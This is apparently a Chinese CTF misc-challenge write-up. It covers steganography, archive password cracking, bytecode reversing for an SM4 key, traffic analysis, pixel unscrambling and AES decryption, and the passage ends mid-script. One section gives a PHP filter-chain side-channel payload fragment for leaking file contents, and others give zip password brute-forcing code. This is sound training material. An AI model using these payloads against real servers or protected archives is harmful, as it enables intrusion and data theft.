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
base64解码后即可得到下面这张图片

赛后和别的师傅交流的过程中发现有的师傅说这里直接 foremost 也可以得到这张图片
虽然是不完整的,但是 zsteg 一下也可以得到下面的 Hint
感觉这里也算是非预期吧,出题人如果隐写的内容不放在开头,可能就要把图片完整提取出来才行了
之前睿抗也遇到过这样的情况,也算是给自己提了个醒,以后出题别把隐写的内容放在图片头部(坏笑)
zsteg一下,发现有一个Hint:Y3p_Ke9_1s_????? ``

然后我们在回头查看那个内存镜像,尝试一下常用的文件头,看看有没有别的文件
发现存在 7z 的文件头 37 7A BC AF 27 1C ,内存镜像的末尾藏了一个7z压缩包

因此我们手动提取出来,然后结合刚才的提示 Y3p_Ke9_1s_?????,猜测是压缩包掩码爆破
因此我们使用 ARCHPR 爆破上面提取得到的 7z 压缩包

爆破后得到压缩包解压密码:Y3p_Ke9_1s_29343

解压压缩包后得到 flag.txt ,内容如下:
31 226 PUSH_NULL
228 LOAD_NAME 8 (key_encode)
230 LOAD_NAME 7 (key)
232 PRECALL 1
236 CALL 1
246 STORE_NAME 7 (key)

32 248 PUSH_NULL
250 LOAD_NAME 10 (len)
252 LOAD_NAME 7 (key)
254 PRECALL 1
258 CALL 1
268 LOAD_CONST 7 (16)
270 COMPARE_OP 2 (==)
276 POP_JUMP_FORWARD_IF_FALSE 43 (to 364)

33 278 PUSH_NULL
280 LOAD_NAME 9 (sm4_encode)
282 LOAD_NAME 7 (key)
284 LOAD_NAME 5 (flag)
286 PRECALL 2
290 CALL 2
300 LOAD_METHOD 11 (hex)
322 PRECALL 0
326 CALL 0
336 STORE_NAME 12 (encrypted_data)

34 338 PUSH_NULL
340 LOAD_NAME 6 (print)
342 LOAD_NAME 12 (encrypted_data)
344 PRECALL 1
348 CALL 1
358 POP_TOP
360 LOAD_CONST 2 (None)
362 RETURN_VALUE

32 >> 364 LOAD_CONST 2 (None)
366 RETURN_VALUE

Disassembly of <code object key_encode at 0x14e048a00, file "make.py", line 10>:
10 0 RESUME 0

11 2 LOAD_GLOBAL 1 (NULL + list)
14 LOAD_FAST 0 (key)
16 PRECALL 1
20 CALL 1
30 STORE_FAST 1 (magic_key)

12 32 LOAD_GLOBAL 3 (NULL + range)
44 LOAD_CONST 1 (1)
46 LOAD_GLOBAL 5 (NULL + len)
58 LOAD_FAST 1 (magic_key)
60 PRECALL 1
64 CALL 1
74 PRECALL 2
78 CALL 2
88 GET_ITER
>> 90 FOR_ITER 105 (to 302)
92 STORE_FAST 2 (i)

13 94 LOAD_GLOBAL 7 (NULL + str)
106 LOAD_GLOBAL 9 (NULL + hex)
118 LOAD_GLOBAL 11 (NULL + int)
130 LOAD_CONST 2 ('0x')
132 LOAD_FAST 1 (magic_key)
134 LOAD_FAST 2 (i)
136 BINARY_SUBSCR
146 BINARY_OP 0 (+)
150 LOAD_CONST 3 (16)
152 PRECALL 2
156 CALL 2
166 LOAD_GLOBAL 11 (NULL + int)
178 LOAD_CONST 2 ('0x')
180 LOAD_FAST 1 (magic_key)
182 LOAD_FAST 2 (i)
184 LOAD_CONST 1 (1)
186 BINARY_OP 10 (-)
190 BINARY_SUBSCR
200 BINARY_OP 0 (+)
204 LOAD_CONST 3 (16)
206 PRECALL 2
210 CALL 2
220 BINARY_OP 12 (^)
224 PRECALL 1
228 CALL 1
238 PRECALL 1
242 CALL 1
252 LOAD_METHOD 6 (replace)
274 LOAD_CONST 2 ('0x')
276 LOAD_CONST 4 ('')
278 PRECALL 2
282 CALL 2
292 LOAD_FAST 1 (magic_key)
294 LOAD_FAST 2 (i)
296 STORE_SUBSCR
300 JUMP_BACKWARD 106 (to 90)

15 >> 302 LOAD_GLOBAL 3 (NULL + range)
314 LOAD_CONST 5 (0)
316 LOAD_GLOBAL 5 (NULL + len)
328 LOAD_FAST 0 (key)
330 PRECALL 1
334 CALL 1
344 LOAD_CONST 6 (2)
346 PRECALL 3
350 CALL 3
360 GET_ITER
>> 362 FOR_ITER 105 (to 574)
364 STORE_FAST 2 (i)

16 366 LOAD_GLOBAL 7 (NULL + str)
378 LOAD_GLOBAL 9 (NULL + hex)
390 LOAD_GLOBAL 11 (NULL + int)
402 LOAD_CONST 2 ('0x')
404 LOAD_FAST 1 (magic_key)
406 LOAD_FAST 2 (i)
408 BINARY_SUBSCR
418 BINARY_OP 0 (+)
422 LOAD_CONST 3 (16)
424 PRECALL 2
428 CALL 2
438 LOAD_GLOBAL 11 (NULL + int)
450 LOAD_CONST 2 ('0x')
452 LOAD_FAST 1 (magic_key)
454 LOAD_FAST 2 (i)
456 LOAD_CONST 1 (1)
458 BINARY_OP 0 (+)
462 BINARY_SUBSCR
472 BINARY_OP 0 (+)
476 LOAD_CONST 3 (16)
478 PRECALL 2
482 CALL 2
492 BINARY_OP 12 (^)
496 PRECALL 1
500 CALL 1
510 PRECALL 1
514 CALL 1
524 LOAD_METHOD 6 (replace)
546 LOAD_CONST 2 ('0x')
548 LOAD_CONST 4 ('')
550 PRECALL 2
554 CALL 2
564 LOAD_FAST 1 (magic_key)
566 LOAD_FAST 2 (i)
568 STORE_SUBSCR
572 JUMP_BACKWARD 106 (to 362)

18 >> 574 LOAD_CONST 4 ('')
576 LOAD_METHOD 7 (join)
598 LOAD_FAST 1 (magic_key)
600 PRECALL 1
604 CALL 1
614 STORE_FAST 1 (magic_key)

19 616 LOAD_GLOBAL 17 (NULL + print)
628 LOAD_FAST 1 (magic_key)
630 PRECALL 1
634 CALL 1
644 POP_TOP

20 646 LOAD_GLOBAL 7 (NULL + str)
658 LOAD_GLOBAL 9 (NULL + hex)
670 LOAD_GLOBAL 11 (NULL + int)
682 LOAD_CONST 2 ('0x')
684 LOAD_FAST 1 (magic_key)
686 BINARY_OP 0 (+)
690 LOAD_CONST 3 (16)
692 PRECALL 2
696 CALL 2
706 LOAD_GLOBAL 11 (NULL + int)
718 LOAD_CONST 2 ('0x')
720 LOAD_FAST 0 (key)
722 BINARY_OP 0 (+)
726 LOAD_CONST 3 (16)
728 PRECALL 2
732 CALL 2
742 BINARY_OP 12 (^)
746 PRECALL 1
750 CALL 1
760 PRECALL 1
764 CALL 1
774 LOAD_METHOD 6 (replace)
796 LOAD_CONST 2 ('0x')
798 LOAD_CONST 4 ('')
800 PRECALL 2
804 CALL 2
814 STORE_FAST 3 (wdb_key)

21 816 LOAD_GLOBAL 17 (NULL + print)
828 LOAD_FAST 3 (wdb_key)
830 PRECALL 1
834 CALL 1
844 POP_TOP

22 846 LOAD_FAST 3 (wdb_key)
848 RETURN_VALUE

magic_key:7a107ecf29325423
encrypted_data:f2c85bd042247896b43345e589e3ad025fba1770e4ac0d274c1f7c2a670830379195aa5547d78bcee7ae649bc3b914da得到SM4的密钥为:ada1e9136bb16171
最后CyberChef解一个SM4即可得到flag:wdflag{815ad4647b0b181b994eb4b731efa8a0}

MISC03
打开pcap文件
上传一般是post uploads,查找到几个,有个 hacker.php


第一个IP就是

wdflag{39.168.5.60}
MISC04
像素偏移
是2024IrisCTF的参考https://almostgph.github.io/2024/01/08/IrisCTF2024/脚本。
之前在某个群里好像有看到过类似的,感觉是希尔伯特-皮亚诺曲线
根据参考链接中的脚本复原一下图片
from PIL import Image
from tqdm import tqdm
def peano(n):
if n == 0:
return [[0,0]]
else:
in_lst = peano(n - 1)
lst = in_lst.copy()
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
return lst
order = peano(6)
img = Image.open("./1.png")
width, height = img.size
block_width = width # // 3
block_height = height # // 3
new_image = Image.new("RGB", (width, height))
for i, (x, y) in tqdm(enumerate(order)):
# 根据列表顺序获取新的坐标
new_x, new_y = i % width, i // width
# 获取原图像素
pixel = img.getpixel((x, height - 1 - y))
# 在新图像中放置像素
new_image.putpixel((new_x, new_y), pixel)
new_image.save("rearranged_image.jpg")

复原后可以得到一个二维码,彩色的可能不好识别,分离一下通道,扫码即可得到flag:
wdflag{4940e8dc-5542-4eee-9243-202ae675d77f}最后,有兴趣的师傅也可以尝试复原一下下面这张图片(感觉比上面的简单)
但是感觉可以帮助大家理解原理





二、白虎组Misc
misc01
1、分析流量包
下载附件打开流量包,根据题目提示“将恶意报文中攻击者构造的teid按时间先后顺序进行拼接”
wireshark打开 搜索字符串 teid

发现很多包含 teid 的包,需要工具 tshark.exe 读取 teid ,
然后导入表格种进行分析
2、导出teid数据
使用 tshark.exe 批量提取数据包的 teid 值
tshark.exe -r UPF.cap -T fields -e gtp.teid > teid.csv

3、分析表格数据
直接对数据去重找到两个很可疑的,其他都是单个只有这俩是多个


查看 teid 值,发现有两行数据存在两条异常数据,初步判
断应该是这两行数据,16进制进制转换然后进行拼接


拼接提交
wdflag{2235649299000124}
misc02
附件提供流量包和加密算法脚本
分析流量和脚本
可以借助大模型快速分析脚本
加密脚本分析
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import struct

def pad(text):
while len(text) % 16 != 0:
text += ' '
return text

def encrypt(key, plaintext):
key_bytes = struct.pack('>I', key)
key_bytes = key_bytes.ljust(16, b'\0')
cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend())
encryptor = cipher.encryptor()
padded_plaintext = pad(plaintext).encode()
encrypted = encryptor.update(padded_plaintext) + encryptor.finalize()
return encrypted

if __name__ == "__main__":
key = 1
msg = "123"
print(encrypt(key,msg))文件内容是一个 Python 脚本,包含了一个简单的 AES 加密函数。这个脚本定义了两个函数:pad 用于填充文本以确保其长度是 16 的倍数,encrypt 用于执行 AES 加密。在主程序部分,使用了一个密钥 key = 1 和一个消息 msg = "123" 来进行加密,并打印出加密后的结果。
AES 加密是一种广泛使用的对称加密算法,而 ECB(电子密码本模式)是其一种模式。然而,ECB 模式存在一些安全缺陷,例如它不能很好地隐藏数据模式,相同的输入块会生成相同的输出块,这可能会泄露信息。
分析流量包

查看数据流


分析密钥为:475070864,待解密消息为:4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1
可以运用脚本进行计算
解密脚本
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import struct

def pad(text):
while len(text) % 16 != 0:
text += ' '
return text

def decrypt(key, ciphertext):
key_bytes = struct.pack('>I', key)
key_bytes = key_bytes.ljust(16, b'\0')
cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend())
decryptor = cipher.decryptor()
decrypted = decryptor.update(ciphertext) + decryptor.finalize()
return decrypted.decode()

# Given key and ciphertext
key = 475070864
ciphertext = bytes.fromhex('4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1')

# Decrypt the ciphertext
decrypted_message = decrypt(key, ciphertext)
decrypted_message
得出结果


misc03
侧信道攻击,参考这篇文章https://boogipop.com/2023/05/08/Web%E4%BE%A7%E4%BF%A1%E9%81%93%E5%88%9D%E6%AD%A5%E8%AE%A4%E8%AF%86/#DownUnderCTF2022-minimal-php
接着用tshark工具将流量包中的value和对应状态码提取,在python中转成字典格式,替换原脚本的网页请求
并修改原脚本两处地方
blow_up_enc = join(*['convert.quoted-printable-encode'] * 3000)
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}'),可以直接跑出flag



misc04
不管他是什么,先拖入随波逐流]CTF编码工具

有包含[随波逐流]CTF编码工具--文件---binwalk提取


2.png

拖入[随波逐流]CTF编码工具:[随波逐流]CTF编码工具---图片---左右反转

得到一半flag,再2个个压缩包里面都是2.png,只有文件夹中压缩包是11.png

要密码,前面有个提示
comment: "!@#QQQ0010flag"
明显是要爆破
自己写一个字典
passlist=[]
for i in range(1000,10000):
passlist.append('!@#QQQ0010flag'+str(i))

with open(r'f:\temp\password.txt','w') as f:
for pas in passlist:
f.write(pas+'\n')11.zip 拖入[随波逐流]CTF编码工具–密文区
password.txt拖入[随波逐流]CTF编码工具—-密钥区
[随波逐流]CTF编码工具--文件---zip密码字典爆破

密码:!@#QQQ0010flag8456

拖入[随波逐流]CTF编码工具

又有包含
[随波逐流]CTF编码工具---文件---foremost提取



很明显修改了宽高
居然没有能自动修改宽高,那只可能是CRC也被修改了

计算实际的宽高
import struct
import zlib
import os

def calculate_crc(data, crc=None):
if crc is None:
crc = 0xffffffff
return zlib.crc32(data) & 0xffffffff

def brute_force_width_height(file_path, known_crc):
with open(file_path, 'rb') as f:
# 检查 PNG 文件头
signature = f.read(8)
if signature != b'\x89PNG\r\n\x1a\n':
print("这不是一个有效的 PNG 文件")
return None, None

# 读取 IHDR 块
chunk_length = struct.unpack('>I', f.read(4))[0]
if chunk_length != 13 or f.read(4) != b'IHDR':
print("IHDR 块不正确")
return None, None

# 读取宽度和高度
width, height = struct.unpack('>2I', f.read(8))

# 尝试不同的宽度和高度值,计算 CRC
for w in range(1, width + 1):
for h in range(1, height + 1):
# 构建 IHDR 块数据
ihdr_data = struct.pack('>2I5B', w, h, 8, 6, 0, 0, 0)
# 计算 CRC
